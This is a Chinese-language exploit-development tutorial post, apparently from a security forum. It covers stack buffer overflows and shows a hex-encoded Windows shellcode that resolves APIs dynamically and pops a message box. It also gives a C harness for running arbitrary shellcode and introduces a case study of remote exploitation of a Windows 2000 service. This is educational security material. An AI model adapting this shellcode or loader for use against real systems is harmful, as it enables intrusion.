To be the apostrophe which changed “Impossible” into “I'm possible”
—— failwest
溢出了的缓冲区,找不到来时的路……
首先比较确定的向大家公布,在元旦的三天假期中我们准备举办一个“辞旧迎新exploit me挑战赛”,作为本系列讲座的一个“期中考试”,已经确定的挑战赛的奖品包括:
通过一周多的基础教学,相信学完前面6讲的朋友们已经初步掌握了缓冲区溢出的最基本原理,我称之为初级+出门。
我们仍然缺少的关于栈溢出的基础知识包括:
1.如何灵活的选取跳转指令(跳板)
2.如何灵活的布置缓冲区,把shellcode摆放在恰当的位置
3.如何在shellcode中动态定位windows API。
4.如何利用淹没S.E.H劫持进程,植入shellcode
5.如何恢复寄存器内容,在溢出后仍然找到“回头路”,
……
这些知识在《0day安全:软件漏洞分析与利用》中都有和先前的教程一样详细而又通俗的论述。然而迫于《0day》即将上架的商业因素的压力,我没有办法继续在教程中公布样章了——因为算下来400来页的书已经被我贴出来了60多页了,再贴就没有出版社愿意替我印了:)
在教程的跟贴之中看到许多朋友们遇到困难,提出问题,最终解决问题——不禁让我回想起自己当年自己钻研时的情景。本着对教学负责的态度,在本节我给出一个能够自己动态定位API的shellcode。
char popup_general[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8";
上面这段机器码的作用仍然是弹出一个消息框显示“failwest”。用的方法大概如下:通过FS[0]定位TEB,通过TEB找到PEB,进而找到PE的导入导出表,再定位kerner32.dll的位置,顺藤摸瓜定位到LoadLibraryA,之后就是康庄大道了 ……
关于这段shellcode的细节分析么,呵呵,参看《0day安全》吧。我要说的是我在开发并调试这段shellcode的时候,总共用了5天时间(我的汇编基础比较差),之后在各种漏洞场景下实验并改进,最终得出的这段168字节的代码是比较通用和稳定的,我经常用它作为验证漏洞是否可以被exploit的POC (proof of concept)代码。
由于shellcode往往是在很“恶劣”的环境下被加载的,要想调试这些机器码得动动脑筋才行。我这里给出一个测试和调试shellcode的样例代码:
char shellcode[]="\x66\x81\xEC\x40\x04\x33\xDB……"; // 欲调试的16进制机器码"
void main()
{
unsigned char MachineCode[256]="";
strncpy(MachineCode, shellcode,256);
__asm
{
lea eax, MachineCode
push eax
ret
}
}
上述代码可以简单的模拟漏洞场景并加载运行shellcode。
好了,虽然现在大家对shellcode的具体开发方法还并不是非常清楚,但是我已经给出了一个比较通用的现成货,而且教给你了调试方法,你完全可以从网上搜点各种功能的shellcode来试试。(实际上我将使用MetaSploit生成各种常见功能的shellcode,甚至对shellcode加个简单的“壳”,自然这部分内容得参见《0day》了)
所以,从技术角度,您已经具备了独立完成溢出利用的最基本技能。
书中的样章不能贴了,但是我们的教学还会继续。今天我要贴出一篇我一年半以前写的漏洞案例分析文章。这篇文章曾经在《黑客防线》上登出过,网上有不少转载,但我个人从未在网络上公布过。
虽然转载者基本上从来不会著名文章的出处和作者,但我身上那种与生俱来的程序员的劣根性,总是让我把代码中的变量尽可能多的命名为与failwest相关的东东,也正是这种劣根性,您可以方便的通过failwest搜出这些文章:)
今天在看雪上是我第一次正式在网络上公布这篇文章,并且是连同所有附带资料一起放送。
这是一个典型的栈溢出漏洞,攻击者通过发送畸形的数据包,可以溢出操作系统中的服务进程,进而远程控制服务器——这也是最标准,最典型,最真实的入侵过程。
在学习这篇文章的时候,希望大家使用Vmware,自制一个存在漏洞的windows2000操作系统(1年前发布的真实漏洞)。
在后面的教程中,我还会邀请一些在漏洞分析方面很有造诣的朋友来贡献一些案例分析文章。